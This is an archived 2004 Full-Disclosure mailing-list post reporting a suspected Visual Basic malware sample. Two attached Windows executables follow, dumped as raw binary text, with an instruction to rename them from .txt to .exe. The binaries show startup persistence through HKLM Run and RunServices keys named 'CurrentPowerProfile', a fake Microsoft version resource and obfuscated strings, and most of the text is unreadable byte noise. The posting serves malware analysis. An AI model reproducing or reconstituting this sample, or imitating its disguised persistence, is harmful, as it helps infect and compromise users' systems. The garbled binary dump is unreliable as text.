[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-Disclosure] Possible New Malware....

To: "Full-Disclosure@Lists. Netsys. Com" <full-disclosure@xxxxxxxxxxxxxxxx>
Subject: [Full-Disclosure] Possible New Malware....
From: "Aditya , ALD [ Aditya Lalit Deshmukh ]" <aditya.deshmukh@xxxxxxxxxxxxxxxxxxxxxxxxxxxxx>
Date: Mon, 23 Aug 2004 20:33:58 +0530

BlankHi List, Possible new malware makes startup entries and copies itself to 
the windows folder this is where it was found, creates a CurruntPowerProfile 
reg startup key with a value of 
Rundll32.exe,powrprof.dll,LoadCurrentPwrScheme2.exe cant find anything else 
that it is doing except that it is written in VB anyone willing to have a look 
at it ? the files are attached as they are just ~ 40 KB  -aditya ( simply ren 
*.txt to *.exe )

MZ?ÿÿ¸@¸º´  
Í!¸LÍ!This program cannot be run in DOS mode.

$??ùÛËë??Ëë??Ëë??H÷??Êë??¢ô??Êë??"ô??Êë??RichËë??PEL¸?%Aà0
 
0@@`¥Ï¤0(P?
   ( 
Ä.textt$0 
`.dataø     @@@À.rsrc? 
PP@@<@9MSVBVM60.DLL´?x`Exrxx?ðx®Úx!>x¨Dx(ExÕ=xî_x*<xs>xm>xm?x?xö=x?Ðx??x]Ex?âx}XxÁ?xÑCx¢GxðAx!?xê?xg}xY?xÅmx¡>x¡?x=>xÕ>x9x¢Ýxôáx¢óx-?xî?x¥@xv?xÂüx,?xr?x
ëxJxEAxX*@_*@K+@S+@U0@]0@@?.@ÿ%<@ÿ%\@ÿ%l@ÿ%0@ÿ%
 
@ÿ%x@ÿ%@ÿ%?@ÿ%4@ÿ%?@ÿ%|@ÿ%d@ÿ%H@ÿ%`@ÿ%@ÿ%@ÿ%?@ÿ%@ÿ%´@ÿ%p@ÿ%8@ÿ%T@ÿ%°@ÿ%¨@ÿ% @ÿ%$@ÿ%P@ÿ%¼@ÿ%¤@ÿ%?@ÿ%,@ÿ%D@ÿ%?@ÿ%?@ÿ%@ÿ%

@ÿ%h@ÿ%?@ÿ%t@ÿ%¬@ÿ%@ÿ%¸@ÿ%@ÿ%(@ÿ%X@ÿ%@@ÿ%L@ÿ%?@h@èðÿÿÿ0@¹?M±®g?A?®ÓSnÞt0430-0Project1C000-00ÿÌ1$¥?4?úD£â¯=2???
·R[9÷N?D4!tª(:O3?fÏ·
ª`Ó?×?Form1
Form1?B"#Flt>  0&  èV( 
@ÿÿÿê´æ§â¥Z7ê?Z¯ê´æ§ÿÿÿÿê?e·êf²?âjª·ê³$?ÿÿÿÿÿoÿÿû"çù¢?íúïnû"@'ù¢yçíúyçïnyçû"yçù¢?íúïn@'û"yçù¢yçíúyçïnyçû"?ù¢íûïÿÀ?ÿÿÿÿ(
 
@?????????????ÀÀÀÿÿÿÿÿÿÿÿÿÿÿÿÀ
ÌÌ@°ÀÌÌÀ»°ÀÌÀ»°
ÌÀ»°ÌÀ»°LÀ³?          
       ?      ?      ??"        ?               ?      ??"      
   ?           ??"           ??" 
?$ê´æ§â¥Z7ê?Z¯ê´æ§ÿÿÿÿê?e·êf²?âjª·ê³$?ÿÿÿÿÿoÿÿû"çù¢?íúïnû"ù¢íúïnû"ù¢íúïnû"ù¢íúïnû"ù¢íûïÿÀ?ÿÿÿÿ$Form1.5ç
    ßDFÿ!Timer1
?xÿ?ProgressBar1ÿMSComctlLib.ProgressBarxh÷ÿ-LB   
P!C4ÐÂ?«?ÈBïÍ«ÿÿÿÿÿÿÿÿlîÞì½lîÿ!Timer2ôxÐÿ(Line6???Ø
  Ø       Ðÿ(Line5???ÐØ        
Ðÿ+Line4àààÐ
ÿ+Line3àààØ    ÿ<Label1Updating 
System Settings....ðxÿÿ+Line1ààà`  @À@
ÿ+      Line2àààÀ 
À@ÿ(
Shape1@@@À@¯ïÀÀÀÿP$¥?4?úD£â¯=2????0?@LVB5!ð*~
       
?@øðÿÿÿé°@¼@<@x§±²Rundll32.exe,powrprof.dll,LoadCurrentPwrSchemeRunDLL32aProject1È8Ðø
 HH??µ":5??Ñ±jÀð(6(!:5??Ñ±jÀð(6( 
:5??Ñ±jÀð(6(o?¥B?ºH??*óB?9U2?õ|JªJG?ú\ä?@F?ç?_Ü}<¾N¶¥DMm?³éLÞA?ö'^Í/³#æSW0

£ýÿÿ¢ýÿÿ¡ýÿÿ¨ýÿÿ9368265E-85FE-11d1-8BE3-0000F8754DA1mscomctl.ocxMSComctlLib.ProgressBarProgressBarÁÁôÌ!@?)@ 0@ð
  @@@@@*\AE:\GalleOn-line\My 
VB\Regcreate\spl.vbp°@Ì!@ä(@ÿÿÿÿ
 
"@@@lÚ`8@?"@8@@@<@@@·hl
 @èB@?a?"@¤"@@?´"@ 
@ðÜ`Ä"@@?8#@x @Ý`H#@@?Ä#@ÿÿÿÿØ 
@Ý`Ô#@ÿÿÿÿ@?Ü#@l!@ 
Ý`ì#@@?Ü#@?!@ 
Ý`ô#@¬!@¹!@Æ!@@@À@@@$@h@À@@@$@?@À@@@$@¤!@¸@À@@@$@±!@à@À@@@$@¾!@?l$?éß?l$?éÒ?l$?éÅ
  ,@@$)@ÿÿÿÿ@@>?Å¼)\H®Uóô½]
 "@`"@          
À@ÿÿÿÿü#@l"@P"@ÿÿ??Project1Form1

·R[9÷N?D4!tª(ÌvÒ¿?E?F°xT³«fôg$¥?4?úD£â¯=2????(n??N?{?Ö=¥?_Ü}<¾N¶¥DMmProgressBar1°A)×??gD?£×ËÈe?ÕC:\WINDOWS\SYSTEM\mscomctl.ocaMSComctlLibÔ"@ä"@#@ÐB@¸Z_ÚN3?fÏ·
ª`Ó?Label1.=ûüú h§8+3qµC:\Program Files\Microsoft Visual 
Studio\VB98\VB6.OLBVBP#@     `#@?#@ÔB@¸Z_:O3?fÏ·
ª`Ó?Form*O3?fÏ·
ª`Ó?Timer1Timer2$¨4DT\l|)O3?fÏ·
ª`Ó?WScript.shell?HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MSINFOregread^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9991081¬
  `òüüóýøüûòøù
REG_SZregwrite¨HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CurrentPowerProfiledRundll32.exe,powrprof.dll,LoadCurrentPwrScheme.exe__vbaStrMove__vbaStrCopy¸HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\CurrentPowerProfileVBA6.DLL__vbaExitProc__vbaFreeStr__vbaStrVarCopy__vbaOnError__vbaObjVar__vbaLateMemCall__vbaVarLateMemCallLd__vbaVarMove__vbaFreeVar__vbaHresultCheckObj__vbaVarSetVar__vbaErrorOverflow__vbaLateIdSt__vbaEnd__vbaFreeObj__vbaObjSetä(@À@ÿÿÿÿ¼(@È(@¸(@¸(@¨Ì!@ÿÿÿÿ¸(@ÿÿÿÿ#@´"@ØB@?#@8#@ÜB@?#@Ä#@àB@?#@Ü#@äB@ÌÌÌÌééééÌÌÌÌÌÌÌÌÌÌÌÌU?ì?ì

h@d¡Pd?%?ìSVW?eôÇEøÈ@?u?Æ?à?Eü?æþV?u?ÿQ?VÇEèÿ?ü?(@P?EèPÿÓ?øjW?ÿQd?ÀÛâ}jdh
 $@WPÿ@?=¸@?Mèÿ×?VfÇFXÿ?P?EèPÿÓ?ðjÿV?ÿQ\?ÀÛâ}j\h 
$@VPÿ@?Mèÿ×ÇEühj*@ë
?Mèÿ¸@ÃÃ?EP?ÿR?Eü?Mì_^d?
[?å]Â???????U?ì?ì
h@d¡Pd?%?ì0SVW?eôÇEøØ@?u?Æ?à?Eü?æþV?u?ÿQf?FX3ÿf=d?}è?}Ø~ÿ@ë^¿Ð?ì?U¼ÛE¼?UÜ?Ì¸jÙ]à??EàV?Q?Uä?A??Q
ÿ?$?MèPQÿ(@Pÿ¬@?Mèÿ¸@f?VXf?Âp9f?VX?}ü?h^+@ë
?Mèÿ¸@ÃÃ?EP?ÿQ?Eü?Mì_^d?
[?å]Âÿt@?????????????U?ì?ìh@d¡Pd?%?ì?SVW?eìÇEðè@?u?Æ?à?Eô?æþ?u3ÿ?}ø?VÿQ?}à?}Ü?}Ì?}¼?}¬?}??½|ÿÿÿWh4$@?UÌRÿh@?^\?EÌPSÿ?@?MÌÿ
@¸T$@?EÄ¹?M¼?ì?Ô?
?MÀ?J?B?EÈ?BjhÜ$@S?MÌQÿ?@?Ä ?Ð?NDÿ@?MÌ?
@ÿÓWh4$@?UÌRÿh@?~|?EÌPWÿ?@?MÌÿÓ¸ð$@?EÄ¹?M¼ºT%@?U¤?M?ÇE?x%@??|ÿÿÿ?ì?Ü??MÀ?K?C?EÈ?C
?ì?Ì?E???] ?Y?Q?U¨?Q?ì?Ä??|ÿÿÿ??U??P?M??H?U??P
jh?%@WÿD@Pÿ?@¸ %@?EÄ¹?M¼ÇE¤P&@?M?ÇE?x%@??|ÿÿÿ?Ä,?Ô?
?MÀ?J?B?EÈ?B?ì?Ì?U???Y?E¤?A?U¨?Q?ì?Ä??|ÿÿÿ??U??P?M??H?U??P
jh?%@WÿD@Pÿ?@¸Ü&@?EÄ¹?M¼ÇE¤P&@?M?ÇE?x%@??|ÿÿÿ?Ä,?Ô?
?MÀ?J?B?EÈ?B?ì?Ì?U???Y?E¤?A?U¨?Q?ì?Ä??|ÿÿÿ??U??P?M??H?U??P
jh?%@WÿD@Pÿ?@?Ä<jÿ,@?~T?FDPÿ¤@?Ð?Màÿ @?Ð?Ïÿ?@?Màÿ¼@?}ÄÇE¼@j?E¼PÿP@Ý]´ÇE¬?U¬?N4ÿ@ÿ@?u?jÿVÿ?¼Ûâ3ÿ;Ç}h¼ht"@VPÿ@¸ %@?EÄ¹?M¼ÇE¤?'@?M?ÇE?x%@??|ÿÿÿ?^|?ì?Ô?
?MÀ?J?B?EÈ?B?ì?Ì?U???E ?A?U¤?Q?E¨?A?ì?Ì??|ÿÿÿ??E??A?U??Q?E??A
jh?%@SÿD@Pÿ?@¸Ü&@?EÄ¹?M¼ÇE¤?'@?M?ÇE?x%@??|ÿÿÿ?Ä,?Ô?
?MÀ?J?B?EÈ?B?ì?Ì?U???E ?A?U¤?Q?E¨?A?ì?Ì??|ÿÿÿ??E??A?U??Q?E??A
jh?%@SÿD@Pÿ?@?Ä<?Vÿ?P?UÜRÿ(@?Ø?WSÿP\Ûâ;Ç}j\h 
$@SPÿ@?MÜ?¸@ÿÓ?Vÿ?üP?UÜRÿ(@?ð?jÿVÿP\Ûâ;Ç}j\h 
$@VPÿ@?MÜÿÓÿ$@?hz0@ë?Màÿ¼@?MÜÿ¸@?MÌÿ@ÃÃ?E?PÿQ?Eô?Mäd?
_^[?å]Â???????????Ì0ÿÿÿÿÿÿÿÿ?1?1¨1¶1Æ1Ö1â1ò122(282F2V2h2z2?2?2¦2´2Â2X?Ø2â2þ23"3Ì?43H3R3h3z3?3?3®3d?¼3Î3â3ú344&404@4J4T4d4MSVBVM60.DLL_CIcos_adj_fptan__vbaVarMove__vbaFreeVar__vbaEnd_adj_fdiv_m64_adj_fprem1__vbaHresultCheckObj_adj_fdiv_m32__vbaExitProc__vbaObjSet__vbaOnError_adj_fdiv_m16i_adj_fdivr_m16i_CIsin__vbaChkstkEVENT_SINK_AddRef__vbaObjVar_adj_fpatanEVENT_SINK_Release_CIsqrtEVENT_SINK_QueryInterface__vbaExceptHandler_adj_fprem_adj_fdivr_m64__vbaFPException_CIlog__vbaErrorOverflow_adj_fdiv_m32i_adj_fdivr_m32i__vbaStrCopy_adj_fdivr_m32_adj_fdiv_r__vbaVarSetVar__vbaLateMemCall__vbaVarLateMemCallLd_CIatan__vbaStrMove__vbaStrVarCopy_allmul__vbaLateIdSt_CItan_CIexp__vbaFreeObj__vbaFreeStr¸?%AB\X?@?(?¸?%AB\x?¸?%AB\??¸?%AB\1uÀ?2u¨?¸?%AB\
    
Ø¸?%AB\è¸?%AB\ø¸?%AB\ 
Q@°`U$°?Uè°lX0°@4VS_VERSION_INFO½ïþÐÐDVarFileInfo$Translation
     
° StringFileInfo|040904B0D,CommentsWindows
 Power 
ManagerT2CompanyNameMicrosoft(R) 
Corporation`8FileDescriptionRun a 
DLL as an App32 
PowertPLegalCopyrightCopyright (C) 
Microsoft Corp. 
1991-2003|ZProductNameMicrosoft(R) 
Windows(R) Advanced Server 
20034FileVersion5.30.20008ProductVersion5.30.2000?^InternalNameRundll32.exe,powrprof.dll,LoadCurrentPwrScheme?fOriginalFilenameRundll32.exe,powrprof.dll,LoadCurrentPwrScheme.exe
  01u  è2u( 
@?????????????ÀÀÀÿÿÿÿÿÿÿÿÿÿÿÿÀ
ÌÌ@°ÀÌÌÀ»°ÀÌÀ»°
ÌÀ»°ÌÀ»°LÀ³?           
       ?      ?      ??"        ?               ?      ??"      
   ?           ??"           ??" 
?$ê´æ§â¥Z7ê?Z¯ê´æ§ÿÿÿÿê?e·êf²?âjª·ê³$?ÿÿÿÿÿoÿÿû"çù¢?íúïnû"ù¢íúïnû"ù¢íúïnû"ù¢íúïnû"ù¢íûïÿÀ?ÿÿÿÿ(
 
@ÿÿÿê´æ§â¥Z7ê?Z¯ê´æ§ÿÿÿÿê?e·êf²?âjª·ê³$?ÿÿÿÿÿoÿÿû"çù¢?íúïnû"@'ù¢yçíúyçïnyçû"yçù¢?íúïn@'û"yçù¢yçíúyçïnyçû"?ù¢íûïÿÀ?ÿÿÿÿ

MZ?ÿÿ¸@¸º´  
Í!¸LÍ!This program cannot be run in DOS mode.

$??ùÛËë??Ëë??Ëë??H÷??Êë??¢ô??Êë??"ô??Êë??RichËë??PELê?Aà?
 
?@Z°?Ö´( ¸(
 ¸.textPs? 
`.dataè       
??@À.rsrc¸  @@<@9MSVBVM60.DLL´?x`Exrxx?ðx®Úx!>x¨Dx(ExÕ=xî_xs>x*<xm>xm?x?xö=x?ÐxÎ?x??x]Ex?âxÁ?xÑCx¢GxðAx!?xê?xg}xY?xY?x¡>x¡?x=>xÕ>x9x¢Ýxôáx¢óx<ôx-?xî?xÂüxr?x
ëxJxLR@SR@x@@à@â~@ÿ%<@ÿ%\@ÿ%l@ÿ%0@ÿ%
 
@ÿ%x@ÿ%@ÿ%?@ÿ%4@ÿ%?@ÿ%|@ÿ%d@ÿ%L@ÿ%`@ÿ%@ÿ%@ÿ% @ÿ%@ÿ%¬@ÿ%t@ÿ%8@ÿ%T@ÿ%¨@ÿ%¤@ÿ%@ÿ%?@ÿ%?@ÿ%p@ÿ%H@ÿ%D@ÿ%?@ÿ%?@ÿ%,@ÿ%@ÿ%°@ÿ%(@ÿ%@ÿ%$@ÿ%

@ÿ%h@ÿ%?@ÿ%X@ÿ%@@ÿ%P@ÿ%?@h¨@èîÿÿÿ0@?Ô??ÞO?Îáö|assem\Project170",
 11ÿÌ1       9(\%tN«?TvhBþY?¶J?±Jº?Ì¤¿¹|Î:O3?fÏ·
ª`Ó??Form1
       RunDLL32eB"#Flt>  0&  
èV( 
@ÿÿÿê´æ§â¥Z7ê?Z¯ê´æ§ÿÿÿÿê?e·êf²?âjª·ê³$?ÿÿÿÿÿoÿÿû"çù¢?íúïnû"@'ù¢yçíúyçïnyçû"yçù¢?íúïn@'û"yçù¢yçíúyçïnyçû"?ù¢íûïÿÀ?ÿÿÿÿ(
 
@?????????????ÀÀÀÿÿÿÿÿÿÿÿÿÿÿÿÀ
ÌÌ@°ÀÌÌÀ»°ÀÌÀ»°
ÌÀ»°ÌÀ»°LÀ³?             
       ?      ?      ??"        ?               ?      ??"      
   ?           ??"           ??" 
?$ê´æ§â¥Z7ê?Z¯ê´æ§ÿÿÿÿê?e·êf²?âjª·ê³$?ÿÿÿÿÿoÿÿû"çù¢?íúïnû"ù¢íúïnû"ù¢íúïnû"ù¢íúïnû"ù¢íûïÿÀ?ÿÿÿÿ$Form15hÅÿÿhÅÿÿà³DÿTimer1ÿP
      
9(\%tN«?TvhBþ?P@LVB5!ð*~
       à@ø0ÿÿÿéX@X@
@x???RunDLL32eRunDLLProject1@ 
N@ÿÿÿÿp@?@Äpa´@Ð@´@¼@¸@¼@·hl

@Ü?@?¬_à@ð@@x@ÿÿÿÿ@PÀ_@ÿÿÿÿ@|?@¨@`À_?@Ì@Ù@¼@<@æ@ì@ò@Ä@ä@<@æ@ì@ò@Ñ@?l$wé?4?l${é²8ô@`N@°@à
        ?@ö@?@*\AC:\My 
Documents\crack.vbpX@,?@àM@ÿÿÿÿ?@
 í9<@?µêµ_w?Õ
p@¬@          
<@ÿÿÿÿ¤@¸@ @ÿÿ??Project1Form1Y?¶J?±Jº?Ì¤¿¹|ÎR»¹FsÜHJ?ãdd??È<
    9(\%tN«?TvhBþkNÒì??M?ø×[(:O3?fÏ·
ª`Ó?Form.=ûüú h§8+3qµC:\Program Files\Microsoft Visual 
Studio\VB98\VB6.OLBVB@  (@`@Ð?@p?_*O3?fÏ·
ª`Ó?Timer1 
?4DHXhWScript.shell?HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDirregread?HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MSINFOF\Microsoft
 Shared\MSINFO\MSlNFO.EXE
REG_SZregwrite:C:\Program 
Files\Common Files:Æñ : 
¹¤¬¹ª¦ë?¢§®¸ Æ¤¦¦¤¥ë?¢§®¸:D:\Program 
Files\Common Files:?ñ : ¹¤¬¹ª¦ë?¢§®¸ 
Æ¤¦¦¤¥ë?¢§®¸:E:\Program Files\Common 
Files:}ñ : ¹¤¬¹ª¦ë?¢§®¸ 
Æ¤¦¦¤¥ë?¢§®¸:F:\Program Files\Common 
Files)O3?fÏ·ª`Ó?:?ñ : ¹¤¬¹ª¦ë?¢§®¸ 
Æ¤¦¦¤¥ë?¢§®¸:G:\Program Files\Common 
Files:Rñ : ¹¤¬¹ª¦ë?¢§®¸ 
Æ¤¦¦¤¥ë?¢§®¸:H:\Program Files\Common 
Files:?ñ : ¹¤¬¹ª¦ë?¢§®¸ 
Æ¤¦¦¤¥ë?¢§®¸F   ¢¨¹¤¸¤¿ëÜ£ª¹®¯   Ü & ?  
  Ü§& ? å?! ! F   ¢¨¹¤¸¤¿ëÜ£ª¹®¯   Ü & ?    
Ü§& ? å} 
}^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9992777REG_DWORD^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9991081¬
  
`òüüóýøüûòøù^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990101
 ¹®»¤¹¿å£¿¦¸ ¥¨ ¸¯}¨¤¯®øÿò0  
`¯¦¢¥æ: Æ Ü¿ª¹¹"!®»¤¹¿¸ 
^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990102FÆñ
 : ¹¤¬¹ª¦ë?¢§®¸ Üx`"!"!   Ü§& ? øùå?! ! 
^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990103^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990104\HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\999110`HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\99901080^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990111ýû^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9991082.Æñ
 : ¹¤¬¹ª¦ë?¢§®¸ Üx`"!"! 
^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9991083~÷Æ"!õ÷0
 "!õ`! ! ë`Æx ? x }Üë & ëx? ÜëÜ Üx}  ë`"!}ë   & 
 x "!}?å÷Æ"!õ÷0 "!õ÷Æ"!õ÷0 
"!õ`¥²¤¥®ë¾¸¢¥¬ë¿£¢¸ë¸²¸¿®¦ë®³»¹®¸¸§²ë¨¤¥¸®¥¿¸ë¿¤ë¸¾¨£ë¦¤¥¢¿¤¹¢¥¬å÷Æ"!õ÷0
 "!õ÷Æ"!õ÷0 "!õã: 
§®ª¸®ë¿ª¢§¤¹ë¿£¢¸ë©ª¥¥®¹ë¿®³¿ë¿¤ë²¤¾¹ë»¹®¨¢¸®ë¥®®¯¸åë`¥²ëº¾®¸¿¢¤¥¸ë¸£¤¾§¯ë©®ë¯¢¹®¨¿®¯ë¿¤ë²¤¾¹ë¤¹¬ª¥¢±ª¿¢¤¥ì¸ë§®¬ª§ë¨¤¾¥¸®§åë}¯¢¿ä¯¢¸ª©§®ë¢¿ë¢¥ëÜx`"!"!ëÆ¤¦¦ª¥¯®¹æõÜ®¿¿¢¥¬¸åâ`HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\99910831H÷~Ü}"!õ
 ÷: Æõ ÷Æ ~& x}"!õ ÷?`x}õ ÷x   }õ 
`HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\99910832J£¿¿»ñää¼¼¼å¢
 »¾¸®¦ª¢§å¨¤¦ä¢¥¯®³ 
ªå£¿¦`HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\99910833\£¿¿»ñää¼¼¼å¢¤»¾¸å¯®ä¢¸æ¤¥§¢¥®æ¿®¸¿ä¢¥¯®³
 
ªå£¿¦^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990010^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990011^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990012__vbaVarMove__vbaFreeVar^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990013^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990014^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990015^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990016__vbaVarLateMemCallLd^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990017^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990020^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990022^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\99902014÷¨¹ª¨ ¾¹»¨9
 
¹®¯¢¦ª¢§å¨¤¦õ^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990202^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990203÷õ`HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\99920315^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9992031^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990204D&
 ª¦®ñë÷: Æõçë& ¤åë÷Æ ~& 
x}"!õçëë÷?`x}õ^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9992041&÷:
 Æõ ÷?`x}õ ÷x   }õ 
^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990205__vbaVarCat^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990206^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990207`HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990207a
 úûû úûû`0 
^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990251`HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\99902511XHKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\2512VHKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\252^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990253^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990254^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990255^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990256^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990259^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990260__vbaVarTstEq__vbaObjVar^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990261^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990262^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990264^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990270__vbaVarCopy^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990280^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990290^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990310^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990320__vbaStrCopy^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990330^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990340^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990344^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990345__vbaObjSet__vbaLateMemCall^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990347^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990361`HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\99903611`HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\99903612__vbaHresultCheckObj^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990362^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990363^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990364^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990365__vbaFreeObj^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990366^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990367^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990368^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990369__vbaOnError^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990370^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990371^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9990372bHKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\999020001¸ª§®¸9
 ¢ 
»¾¸å¨¤¦bHKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\999020002bHKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\999020003

¥¤æ¾¹§bHKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\999020004

}¦ª¢§ñ^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9997001^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9997002\HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\999258\HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\999300\HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\999346__vbaEnd^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9993462^HKEY_LOCAL_MACHINE\SOFTWARE\Classem\sys\9993463¸HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\CurrentPowerProfileSlimeware
 
Corp.Rundll32e.exeVBA6.DLLdRundll32.exe,powrprof.dll,LoadCurrentPwrScheme.exe?HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RegisteredOwnerHacker
 
Family¦HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RegisteredOrganization__vbaExitProc__vbaVarSetVar
 
N@@ÿÿÿÿÀM@ÿÿÿÿd@@Ô?@d@?@Ø?@<@ÿÿÿÿÄM@ÌM@ÀM@ÀM@?ééééÌÌÌÌÌÌÌÌÌÌÌÌU?ì?ì

hö@d¡Pd?%?ì?SVW?eôÇEø¸@?}?Ç?à?Eü?çþW?}?ÿQ3À?UØPhÈ@R?Eè?EØ?EÈÿh@?EØ?_hPSÿ?@?MØÿ
@?ì¹?Ô?MÈ¸è@j?
?MÌ?EÐh?@?J?MØSQ?B?EÔ?wX?Bÿ?@?Ä ?Ð?Îÿ@?MØÿ@?ì¹?Ô?MÈ¸?@V?
?M¼ÇEÐ @?J?MÈQ?B?EÄ?B?UØRÿp@??ì?Ì??P?Q?P?Q?@?U??ì?A
?Ì¸jh|@?¸l@S?Q?A?E??AÿH@Pÿ?@?Ä<?MØÿ
@?D@?MÈVQÇEÐ?@ÇEÈ?ÿÓf?Àt5??@?UÈ?ÎÇEÐÔ@ÇEÈÿÓ?UÈ?ÎÇEÐÜ@ÇEÈÿÓé??UÈVRÇEÐ
 @ÇEÈ?ÿÓf?Àt5??@?UÈ?ÎÇEÐÔ@ÇEÈÿÓ?UÈ?ÎÇEÐ\ @ÇEÈÿÓé<?EÈVPÇEÐ? 
@ÇEÈ?ÿÓf?Àt5??@?UÈ?ÎÇEÐÔ@ÇEÈÿÓ?UÈ?ÎÇEÐÜ 
@ÇEÈÿÓéí?MÈVQÇEÐ!@ÇEÈ?ÿÓf?Àt5??@?UÈ?ÎÇEÐÔ@ÇEÈÿÓ?UÈ?ÎÇEÐp!@ÇEÈÿÓé??UÈVRÇEÐ°!@ÇEÈ?ÿÓf?Àt2??@?UÈ?ÎÇEÐÔ@ÇEÈÿÓ?UÈ?ÎÇEÐð!@ÇEÈÿÓëR?EÈVPÇEÐ0"@ÇEÈ?ÿÓf?Àt2??@?UÈ?ÎÇEÐÔ@ÇEÈÿÓ?UÈ?ÎÇEÐp"@ÇEÈÿÓë??@?UÈ?O4ÇEÐ°"@ÇEÈÿÓºü"@?ODÿ?@?Wÿ?ü?,@?UèPRÿÓ?ðj2V?ÿPd?ÀÛâ}jdhX!@VPÿ@?Mèÿ°@?Wÿ?ü?UèPRÿÓ?ðjÿV?ÿP\?ÀÛâ}j\hX!@VPÿ@?Mèÿ°@ÇEühgR@ë?Mèÿ°@?MØÿ
@ÃÃ?EP?ÿQ?Eü?Mì_^d?
